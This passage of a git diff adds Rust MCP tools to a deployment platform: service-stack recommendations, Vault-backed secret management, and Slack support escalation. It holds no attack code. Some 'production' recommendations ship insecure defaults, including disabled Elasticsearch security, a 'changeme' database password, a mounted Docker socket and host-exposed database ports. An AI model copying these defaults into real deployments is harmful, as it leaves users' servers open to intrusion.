triggers: vec!["wordpress_woocommerce", "orocommerce", "sylius", "oscar"], + production: vec![ + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Session & cache for e-commerce performance".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "Dramatically improves page load for product catalogs.".into(), + }, + ServiceRecommendation { + code: "elasticsearch".into(), + name: "Elasticsearch".into(), + reason: "Full-text product search".into(), + priority: "optional".into(), + category: "search".into(), + docker_image: "elasticsearch:8.12.0".into(), + ansible_role: "".into(), + has_local_role: false, + has_local_app: false, + environment: json!({ + "discovery.type": "single-node", + "xpack.security.enabled": "false", + "ES_JAVA_OPTS": "-Xms512m -Xmx512m" + }), + ports: json!([{"host_port": "9200", "container_port": "9200"}]), + volumes: json!([{"host_path": "es_data", "container_path": "/usr/share/elasticsearch/data"}]), + notes: "From Docker Hub. Needs 2GB+ RAM. Improves product search dramatically.".into(), + }, + ], + development: vec![], + }, + + // ── CRM / Project Management ───────────────────────────────── + StackBlueprint { + triggers: vec!["orocrm", "suitecrm", "redmine", "taiga"], + production: vec![ + ServiceRecommendation { + code: "postgres".into(), + name: "PostgreSQL".into(), + reason: "Primary database".into(), + priority: "required".into(), + category: "database".into(), + docker_image: "postgres:16-alpine".into(), + ansible_role: "postgres".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "POSTGRES_DB": "app_db", + "POSTGRES_USER": "app", + "POSTGRES_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "5432", "container_port": "5432"}]), + volumes: json!([{"host_path": "postgres_data", "container_path": "/var/lib/postgresql/data"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Caching and session storage".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy with SSL".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ], + development: vec![], + }, + + // ── Container Management (Portainer, Dockge, Komodo) ───────── + StackBlueprint { + triggers: vec!["portainer", "portainer-ce", "dockge", "komodo"], + production: vec![ + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Secure HTTPS access to management dashboard".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ServiceRecommendation { + code: "telegraf".into(), + name: "Telegraf".into(), + reason: "Metrics collection to complement container management".into(), + priority: "optional".into(), + category: "monitoring".into(), + docker_image: "telegraf:1.30-alpine".into(), + ansible_role: "telegraf".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([]), + volumes: json!([{"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock:ro"}]), + notes: "".into(), + }, + ], + development: vec![], + }, + + // ── Go (Gin) ──────────────────────────────────────────────── + StackBlueprint { + triggers: vec!["gin"], + production: vec![ + ServiceRecommendation { + code: "postgres".into(), + name: "PostgreSQL".into(), + reason: "Popular database choice for Go services".into(), + priority: "recommended".into(), + category: "database".into(), + docker_image: "postgres:16-alpine".into(), + ansible_role: "postgres".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "POSTGRES_DB": "app_db", + "POSTGRES_USER": "app", + "POSTGRES_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "5432", "container_port": "5432"}]), + volumes: json!([{"host_path": "postgres_data", "container_path": "/var/lib/postgresql/data"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Caching and session storage".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ], + development: vec![], + }, + ] +} + +#[async_trait] +impl ToolHandler for RecommendStackServicesTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + /// App/role codes currently in the stack (e.g. ["wordpress", "mysql"]) + current_services: Vec, + /// "production" or "development" + #[serde(default = "default_stack_type")] + stack_type: String, + /// "ssh" or "status_panel" + #[serde(default = "default_deployment_method")] + deployment_method: String, + } + + fn default_stack_type() -> String { + "production".into() + } + fn default_deployment_method() -> String { + "ssh".into() + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let current_codes: Vec = params + .current_services + .iter() + .map(|s| s.to_lowercase().trim().to_string()) + .collect(); + + let blueprints = build_blueprints(); + let is_prod = params.stack_type.to_lowercase() != "development"; + let is_ssh = params.deployment_method.to_lowercase() == "ssh"; + + // Collect matching production recommendations + let mut prod_recs: Vec = Vec::new(); + let mut dev_recs: Vec = Vec::new(); + let mut matched_templates: Vec = Vec::new(); + + for bp in &blueprints { + let matches: Vec<&str> = bp + .triggers + .iter() + .filter(|t| current_codes.iter().any(|c| c == *t)) + .copied() + .collect(); + + if matches.is_empty() { + continue; + } + + matched_templates.extend(matches.iter().map(|s| s.to_string())); + + // Add production recommendations + for rec in &bp.production { + if !current_codes.contains(&rec.code.to_lowercase()) + && !prod_recs.iter().any(|r| r.code == rec.code) + { + prod_recs.push(rec.clone()); + } + } + + // Add development recommendations (if requested) + if !is_prod { + for rec in &bp.development { + if !current_codes.contains(&rec.code.to_lowercase()) + && !dev_recs.iter().any(|r| r.code == rec.code) + && !prod_recs.iter().any(|r| r.code == rec.code) + { + dev_recs.push(rec.clone()); + } + } + } + } + + // Sort: required first, then recommended, then optional + let priority_order = |p: &str| match p { + "required" => 0, + "recommended" => 1, + "optional" => 2, + _ => 3, + }; + prod_recs.sort_by_key(|r| priority_order(&r.priority)); + dev_recs.sort_by_key(|r| priority_order(&r.priority)); + + // Filter based on deployment method + let filter_for_method = |recs: &[ServiceRecommendation]| -> Vec { + recs.iter() + .map(|r| { + let mut rec = json!({ + "code": r.code, + "name": r.name, + "reason": r.reason, + "priority": r.priority, + "category": r.category, + "docker_image": r.docker_image, + "has_local_role": r.has_local_role, + "has_local_app": r.has_local_app, + "environment": r.environment, + "ports": r.ports, + "volumes": r.volumes, + }); + if !r.notes.is_empty() { + rec["notes"] = json!(r.notes); + } + if is_ssh && r.has_local_role { + rec["ansible_role"] = json!(r.ansible_role); + rec["install_method"] = json!("ansible_role"); + } else { + rec["install_method"] = json!("docker_compose"); + } + rec + }) + .collect() + }; + + let production_json = filter_for_method(&prod_recs); + let development_json = filter_for_method(&dev_recs); + + let total = production_json.len() + development_json.len(); + let summary = if matched_templates.is_empty() { + "No matching blueprints found for the current services. You can still add services manually via the template selector or Docker Hub search.".to_string() + } else { + format!( + "Found {} recommendation(s) for stack containing [{}]. {} for production{}.", + total, + matched_templates.join(", "), + production_json.len(), + if !development_json.is_empty() { + format!(", {} for development", development_json.len()) + } else { + String::new() + } + ) + }; + + let result = json!({ + "matched_templates": matched_templates, + "stack_type": params.stack_type, + "deployment_method": params.deployment_method, + "summary": summary, + "production": production_json, + "development": development_json, + "instructions": "Present these recommendations to the user grouped by purpose. For each service, explain why it's needed and show the suggested configuration. Ask the user which services to add, then use create_project_app to add each selected service with the suggested configuration." + }); + + tracing::info!( + "Recommended {} services for stack with [{}]", + total, + current_codes.join(", ") + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "recommend_stack_services".to_string(), + description: "Get AI-powered service recommendations for a stack based on the selected template(s). Returns categorized suggestions (production vs development) with configurations (env vars, ports, volumes) tailored to the deployment method (SSH/Ansible or Status Panel). Use this when a user selects a template to suggest complementary services.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "current_services": { + "type": "array", + "items": { "type": "string" }, + "description": "Array of app/role codes currently in the stack (e.g. [\"wordpress\", \"mysql\"])" + }, + "stack_type": { + "type": "string", + "enum": ["production", "development"], + "description": "Whether this is a production or development stack (default: production)" + }, + "deployment_method": { + "type": "string", + "enum": ["ssh", "status_panel"], + "description": "Deployment method: 'ssh' for Ansible roles, 'status_panel' for Docker Compose (default: ssh)" + } + }, + "required": ["current_services"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/remote_secrets.rs b/stacker/stacker/src/mcp/tools/remote_secrets.rs new file mode 100644 index 0000000..f58c1b1 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/remote_secrets.rs @@ -0,0 +1,451 @@ +//! MCP tools for Vault-backed remote service secrets. + +use async_trait::async_trait; +use serde::Deserialize; +use serde_json::{json, Value}; + +use crate::db; +use crate::forms::RemoteSecretMetadataResponse; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::services::VaultService; + +async fn ensure_owned_project(context: &ToolContext, project_id: i32) -> Result<(), String> { + let project = db::project::fetch(&context.pg_pool, project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + + Ok(()) +} + +async fn ensure_owned_target( + context: &ToolContext, + project_id: i32, + target_code: &str, +) -> Result<(), String> { + ensure_owned_project(context, project_id).await?; + + db::project_app::fetch_by_project_and_code(&context.pg_pool, project_id, target_code) + .await + .map_err(|e| format!("Failed to fetch target: {}", e))? + .ok_or_else(|| format!("Deployable service/app target '{}' not found", target_code))?; + + Ok(()) +} + +fn validate_secret_name(name: &str) -> Result<(), String> { + let mut chars = name.chars(); + match chars.next() { + Some(first) if first == '_' || first.is_ascii_alphabetic() => {} + _ => { + return Err(format!( + "Invalid secret name '{}': must match [A-Za-z_][A-Za-z0-9_]*", + name + )); + } + } + + if chars.all(|ch| ch == '_' || ch.is_ascii_alphanumeric()) { + Ok(()) + } else { + Err(format!( + "Invalid secret name '{}': must match [A-Za-z_][A-Za-z0-9_]*", + name + )) + } +} + +fn vault_from_context(context: &ToolContext) -> Result { + VaultService::from_settings(&context.settings.vault) + .map_err(|error| format!("Vault is not available for remote secrets: {}", error)) +} + +fn render_json(value: Value) -> ToolContent { + ToolContent::Text { + text: serde_json::to_string_pretty(&value).unwrap_or_else(|_| value.to_string()), + } +} + +/// List deployable service/app targets that can receive remote service secrets. +pub struct ListRemoteSecretTargetsTool; + +#[async_trait] +impl ToolHandler for ListRemoteSecretTargetsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + ensure_owned_project(context, params.project_id).await?; + + let targets = db::project_app::fetch_by_project(&context.pg_pool, params.project_id) + .await + .map_err(|e| format!("Failed to list remote secret targets: {}", e))?; + + let items: Vec = targets + .into_iter() + .map(|target| { + json!({ + "code": target.code, + "name": target.name, + "enabled": target.enabled, + "image": target.image + }) + }) + .collect(); + + Ok(render_json(json!({ + "project_id": params.project_id, + "targets": items, + "count": items.len(), + "note": "Use one of these target codes with service-scope remote secrets." + }))) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_remote_secret_targets".to_string(), + description: "List deployable service/app target codes that can receive Vault-backed service-scope remote secrets for a project.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID to inspect" + } + }, + "required": ["project_id"] + }), + } + } +} + +/// List metadata for remote service secrets on one target. +pub struct ListRemoteServiceSecretsTool; + +#[async_trait] +impl ToolHandler for ListRemoteServiceSecretsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + target_code: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + ensure_owned_target(context, params.project_id, ¶ms.target_code).await?; + + let items: Vec = db::remote_secret::list_service_secrets( + &context.pg_pool, + &context.user.id, + params.project_id, + ¶ms.target_code, + ) + .await + .map_err(|e| format!("Failed to list remote service secrets: {}", e))? + .into_iter() + .map(Into::into) + .collect(); + + Ok(render_json(json!({ + "project_id": params.project_id, + "target_code": params.target_code, + "secrets": items, + "count": items.len(), + "note": "Secret values are not returned; only metadata is exposed." + }))) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_remote_service_secrets".to_string(), + description: "List metadata for Vault-backed service-scope remote secrets on one deployable service/app target. Plaintext values are never returned.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID containing the target" + }, + "target_code": { + "type": "string", + "description": "Deployable service/app target code from list_remote_secret_targets" + } + }, + "required": ["project_id", "target_code"] + }), + } + } +} + +/// Get metadata for one remote service secret. +pub struct GetRemoteServiceSecretTool; + +#[async_trait] +impl ToolHandler for GetRemoteServiceSecretTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + target_code: String, + name: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + validate_secret_name(¶ms.name)?; + ensure_owned_target(context, params.project_id, ¶ms.target_code).await?; + + let secret = db::remote_secret::fetch_service_secret( + &context.pg_pool, + &context.user.id, + params.project_id, + ¶ms.target_code, + ¶ms.name, + ) + .await + .map_err(|e| format!("Failed to fetch remote service secret: {}", e))? + .ok_or_else(|| "Secret not found".to_string())?; + + Ok(render_json(json!({ + "secret": RemoteSecretMetadataResponse::from(secret), + "note": "Secret values are not returned; only metadata is exposed." + }))) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_remote_service_secret".to_string(), + description: "Get metadata for one Vault-backed service-scope remote secret. Plaintext values are never returned.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID containing the target" + }, + "target_code": { + "type": "string", + "description": "Deployable service/app target code from list_remote_secret_targets" + }, + "name": { + "type": "string", + "description": "Secret name, matching [A-Za-z_][A-Za-z0-9_]*" + } + }, + "required": ["project_id", "target_code", "name"] + }), + } + } +} + +/// Set or replace one remote service secret. +pub struct SetRemoteServiceSecretTool; + +#[async_trait] +impl ToolHandler for SetRemoteServiceSecretTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + target_code: String, + name: String, + value: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + validate_secret_name(¶ms.name)?; + if params.value.is_empty() { + return Err("Secret value must not be empty".to_string()); + } + ensure_owned_target(context, params.project_id, ¶ms.target_code).await?; + + let vault = vault_from_context(context)?; + let vault_path = vault.service_secret_path( + &context.user.id, + params.project_id, + ¶ms.target_code, + ¶ms.name, + ); + + vault + .store_secret_value(&vault_path, ¶ms.value) + .await + .map_err(|e| format!("Failed to store secret value in Vault: {}", e))?; + + let secret = db::remote_secret::upsert_service_secret( + &context.pg_pool, + &context.user.id, + params.project_id, + ¶ms.target_code, + ¶ms.name, + &vault_path, + &context.user.id, + "synced", + ) + .await + .map_err(|e| format!("Failed to upsert remote service secret metadata: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + project_id = params.project_id, + target_code = %params.target_code, + secret_name = %params.name, + "Set remote service secret metadata via MCP" + ); + + Ok(render_json(json!({ + "secret": RemoteSecretMetadataResponse::from(secret), + "note": "Secret stored in Vault. Plaintext value is not returned." + }))) + } + + fn schema(&self) -> Tool { + Tool { + name: "set_remote_service_secret".to_string(), + description: "Set or replace a Vault-backed service-scope remote secret for one deployable service/app target. The value is written to Vault and is never returned.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID containing the target" + }, + "target_code": { + "type": "string", + "description": "Deployable service/app target code from list_remote_secret_targets" + }, + "name": { + "type": "string", + "description": "Secret name, matching [A-Za-z_][A-Za-z0-9_]*" + }, + "value": { + "type": "string", + "description": "Secret value to store in Vault" + } + }, + "required": ["project_id", "target_code", "name", "value"] + }), + } + } +} + +/// Delete one remote service secret. +pub struct DeleteRemoteServiceSecretTool; + +#[async_trait] +impl ToolHandler for DeleteRemoteServiceSecretTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + target_code: String, + name: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + validate_secret_name(¶ms.name)?; + ensure_owned_target(context, params.project_id, ¶ms.target_code).await?; + + let secret = db::remote_secret::fetch_service_secret( + &context.pg_pool, + &context.user.id, + params.project_id, + ¶ms.target_code, + ¶ms.name, + ) + .await + .map_err(|e| format!("Failed to fetch remote service secret: {}", e))? + .ok_or_else(|| "Secret not found".to_string())?; + + let vault = vault_from_context(context)?; + vault + .delete_secret_value(&secret.vault_path) + .await + .map_err(|e| format!("Failed to delete secret value from Vault: {}", e))?; + + db::remote_secret::delete_secret_by_id(&context.pg_pool, secret.id) + .await + .map_err(|e| format!("Failed to delete remote service secret metadata: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + project_id = params.project_id, + target_code = %params.target_code, + secret_name = %params.name, + "Deleted remote service secret metadata via MCP" + ); + + Ok(render_json(json!({ + "deleted": true, + "project_id": params.project_id, + "target_code": params.target_code, + "name": params.name, + "scope": "service" + }))) + } + + fn schema(&self) -> Tool { + Tool { + name: "delete_remote_service_secret".to_string(), + description: "Delete a Vault-backed service-scope remote secret from one deployable service/app target.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID containing the target" + }, + "target_code": { + "type": "string", + "description": "Deployable service/app target code from list_remote_secret_targets" + }, + "name": { + "type": "string", + "description": "Secret name, matching [A-Za-z_][A-Za-z0-9_]*" + } + }, + "required": ["project_id", "target_code", "name"] + }), + } + } +} + +#[cfg(test)] +mod tests { + use super::{validate_secret_name, ListRemoteSecretTargetsTool, SetRemoteServiceSecretTool}; + use crate::mcp::registry::ToolHandler; + + #[test] + fn validates_cli_compatible_secret_names() { + assert!(validate_secret_name("S3_BUCKET").is_ok()); + assert!(validate_secret_name("_TOKEN").is_ok()); + assert!(validate_secret_name("1TOKEN").is_err()); + assert!(validate_secret_name("S3-BUCKET").is_err()); + } + + #[test] + fn remote_secret_schemas_use_target_language() { + let list_schema = ListRemoteSecretTargetsTool.schema(); + assert_eq!(list_schema.name, "list_remote_secret_targets"); + assert!(list_schema.description.contains("service/app target")); + + let set_schema = SetRemoteServiceSecretTool.schema(); + assert_eq!(set_schema.name, "set_remote_service_secret"); + assert!(set_schema.description.contains("Vault-backed")); + assert!(set_schema.description.contains("never returned")); + } +} diff --git a/stacker/stacker/src/mcp/tools/support.rs b/stacker/stacker/src/mcp/tools/support.rs new file mode 100644 index 0000000..df8fdd1 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/support.rs @@ -0,0 +1,332 @@ +//! MCP Tools for Support Escalation. +//! +//! These tools provide AI access to: +//! - Escalation to human support via Slack +//! - Integration with Tawk.to live chat +//! - Support ticket creation + +use async_trait::async_trait; +use serde_json::{json, Value}; + +use crate::db; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use serde::Deserialize; + +/// Slack configuration +fn get_slack_config() -> Option { + let webhook_url = std::env::var("SLACK_SUPPORT_WEBHOOK_URL").ok()?; + let channel = + std::env::var("SLACK_SUPPORT_CHANNEL").unwrap_or_else(|_| "#trydirectflow".to_string()); + Some(SlackConfig { + webhook_url, + channel, + }) +} + +#[allow(dead_code)] +struct SlackConfig { + webhook_url: String, + channel: String, +} + +/// Escalate a user issue to human support +pub struct EscalateToSupportTool; + +#[async_trait] +impl ToolHandler for EscalateToSupportTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + reason: String, + #[serde(default)] + deployment_id: Option, + #[serde(default)] + urgency: Option, + #[serde(default)] + conversation_summary: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let urgency = params.urgency.unwrap_or_else(|| "normal".to_string()); + let urgency_emoji = match urgency.as_str() { + "high" | "urgent" | "critical" => "🔴", + "medium" => "🟡", + _ => "🟢", + }; + + // Gather deployment context if provided + let deployment_info = if let Some(deployment_id) = params.deployment_id { + match db::deployment::fetch(&context.pg_pool, deployment_id).await { + Ok(Some(deployment)) => { + // Verify ownership + if deployment.user_id.as_ref() == Some(&context.user.id) { + Some(json!({ + "id": deployment_id, + "status": deployment.status, + "deployment_hash": deployment.deployment_hash, + })) + } else { + None + } + } + _ => None, + } + } else { + None + }; + + // Get user info + let user_info = json!({ + "user_id": context.user.id, + "email": context.user.email, + }); + + // Build Slack message + let slack_message = build_slack_message( + ¶ms.reason, + &urgency, + urgency_emoji, + &user_info, + deployment_info.as_ref(), + params.conversation_summary.as_deref(), + ); + + // Send to Slack + let slack_result = send_to_slack(&slack_message).await; + + // Store escalation record + let escalation_id = uuid::Uuid::new_v4().to_string(); + let _escalation_record = json!({ + "id": escalation_id, + "user_id": context.user.id, + "reason": params.reason, + "urgency": urgency, + "deployment_id": params.deployment_id, + "conversation_summary": params.conversation_summary, + "slack_sent": slack_result.is_ok(), + "created_at": chrono::Utc::now().to_rfc3339(), + }); + + tracing::info!( + user_id = %context.user.id, + escalation_id = %escalation_id, + urgency = %urgency, + deployment_id = ?params.deployment_id, + slack_success = slack_result.is_ok(), + "Support escalation created via MCP" + ); + + let response = json!({ + "success": true, + "escalation_id": escalation_id, + "status": "escalated", + "message": if slack_result.is_ok() { + "Your issue has been escalated to our support team. They will respond within 24 hours (usually much sooner during business hours)." + } else { + "Your issue has been logged. Our support team will reach out to you shortly." + }, + "next_steps": [ + "A support agent will review your issue shortly", + "You can continue chatting with me for other questions", + "For urgent issues, you can also use our live chat (Tawk.to) in the bottom-right corner" + ], + "tawk_to_available": true + }); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&response).unwrap_or_else(|_| response.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "escalate_to_support".to_string(), + description: "Escalate an issue to human support when AI assistance is insufficient. Use this when: 1) User explicitly asks to speak to a human, 2) Issue requires account/billing changes AI cannot perform, 3) Complex infrastructure problems beyond AI troubleshooting, 4) User is frustrated or issue is time-sensitive.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "reason": { + "type": "string", + "description": "Clear description of why escalation is needed and what the user needs help with" + }, + "deployment_id": { + "type": "number", + "description": "Optional deployment ID if the issue relates to a specific deployment" + }, + "urgency": { + "type": "string", + "enum": ["low", "normal", "high", "critical"], + "description": "Urgency level: low (general question), normal (needs help), high (service degraded), critical (service down)" + }, + "conversation_summary": { + "type": "string", + "description": "Brief summary of the conversation and troubleshooting steps already attempted" + } + }, + "required": ["reason"] + }), + } + } +} + +/// Build Slack Block Kit message for support escalation +fn build_slack_message( + reason: &str, + urgency: &str, + urgency_emoji: &str, + user_info: &Value, + deployment_info: Option<&Value>, + conversation_summary: Option<&str>, +) -> Value { + let mut blocks = vec![ + json!({ + "type": "header", + "text": { + "type": "plain_text", + "text": format!("{} Support Escalation", urgency_emoji), + "emoji": true + } + }), + json!({ + "type": "section", + "fields": [ + { + "type": "mrkdwn", + "text": format!("*User:*\n{}", user_info["email"].as_str().unwrap_or("Unknown")) + }, + { + "type": "mrkdwn", + "text": format!("*Urgency:*\n{}", urgency) + } + ] + }), + json!({ + "type": "section", + "text": { + "type": "mrkdwn", + "text": format!("*Reason:*\n{}", reason) + } + }), + ]; + + if let Some(deployment) = deployment_info { + blocks.push(json!({ + "type": "section", + "fields": [ + { + "type": "mrkdwn", + "text": format!("*Deployment ID:*\n{}", deployment["id"]) + }, + { + "type": "mrkdwn", + "text": format!("*Status:*\n{}", deployment["status"].as_str().unwrap_or("unknown")) + } + ] + })); + } + + if let Some(summary) = conversation_summary { + blocks.push(json!({ + "type": "section", + "text": { + "type": "mrkdwn", + "text": format!("*Conversation Summary:*\n{}", summary) + } + })); + } + + blocks.push(json!({ + "type": "divider" + })); + + blocks.push(json!({ + "type": "context", + "elements": [ + { + "type": "mrkdwn", + "text": format!("Escalated via AI Assistant • User ID: {}", user_info["user_id"].as_str().unwrap_or("unknown")) + } + ] + })); + + json!({ + "blocks": blocks + }) +} + +/// Send message to Slack webhook +async fn send_to_slack(message: &Value) -> Result<(), String> { + let config = match get_slack_config() { + Some(c) => c, + None => { + tracing::warn!("Slack webhook not configured - SLACK_SUPPORT_WEBHOOK_URL not set"); + return Err("Slack not configured".to_string()); + } + }; + + let client = reqwest::Client::new(); + let response = client + .post(&config.webhook_url) + .json(message) + .send() + .await + .map_err(|e| format!("Failed to send Slack message: {}", e))?; + + if response.status().is_success() { + tracing::info!("Slack escalation sent successfully"); + Ok(()) + } else { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + tracing::error!( + status = %status, + body = %body, + "Slack webhook returned error" + ); + Err(format!("Slack returned {}: {}", status, body)) + } +} + +/// Get Tawk.to widget info for live chat +pub struct GetLiveChatInfoTool; + +#[async_trait] +impl ToolHandler for GetLiveChatInfoTool { + async fn execute(&self, _args: Value, _context: &ToolContext) -> Result { + let tawk_property_id = std::env::var("TAWK_TO_PROPERTY_ID").ok(); + let tawk_widget_id = std::env::var("TAWK_TO_WIDGET_ID").ok(); + + let available = tawk_property_id.is_some() && tawk_widget_id.is_some(); + + let response = json!({ + "live_chat_available": available, + "provider": "Tawk.to", + "instructions": if available { + "Click the chat bubble in the bottom-right corner of the page to start a live chat with our support team." + } else { + "Live chat is currently unavailable. Please use escalate_to_support to reach our team." + }, + "business_hours": "Monday-Friday, 9 AM - 6 PM UTC", + "average_response_time": "< 5 minutes during business hours" + }); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&response).unwrap_or_else(|_| response.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_live_chat_info".to_string(), + description: "Get information about live chat availability for immediate human support. Returns Tawk.to widget status and instructions.".to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/templates.rs b/stacker/stacker/src/mcp/tools/templates.rs new file mode 100644 index 0000000..96e52fb --- /dev/null +++ b/stacker/stacker/src/mcp/tools/templates.rs @@ -0,0 +1,309 @@ +use async_trait::async_trait; +use serde_json::{json, Value}; + +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use serde::Deserialize; + +/// Suggest appropriate resource limits for an application type +pub struct SuggestResourcesTool; + +#[async_trait] +impl ToolHandler for SuggestResourcesTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + app_type: String, + #[serde(default)] + expected_traffic: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Heuristic-based recommendations + let (base_cpu, base_ram, base_storage) = match params.app_type.to_lowercase().as_str() { + "wordpress" | "cms" => (1.0, 2.0, 20.0), + "nodejs" | "express" | "nextjs" => (1.0, 1.0, 10.0), + "django" | "flask" | "python" => (2.0, 2.0, 15.0), + "react" | "vue" | "frontend" => (1.0, 1.0, 5.0), + "mysql" | "mariadb" => (2.0, 4.0, 50.0), + "postgresql" | "postgres" => (2.0, 4.0, 100.0), + "redis" | "memcached" | "cache" => (1.0, 1.0, 5.0), + "mongodb" | "nosql" => (2.0, 4.0, 100.0), + "nginx" | "apache" | "traefik" | "proxy" => (0.5, 0.5, 2.0), + "rabbitmq" | "kafka" | "queue" => (2.0, 4.0, 20.0), + "elasticsearch" | "search" => (4.0, 8.0, 200.0), + _ => (1.0, 1.0, 10.0), // Default + }; + + // Multiplier for traffic level + let multiplier = match params.expected_traffic.as_deref() { + Some("high") => 3.0, + Some("medium") => 1.5, + Some("low") | None | Some("") => 1.0, + _ => 1.0, + }; + + let final_cpu = ((base_cpu as f64) * multiplier).ceil() as i32; + let final_ram = 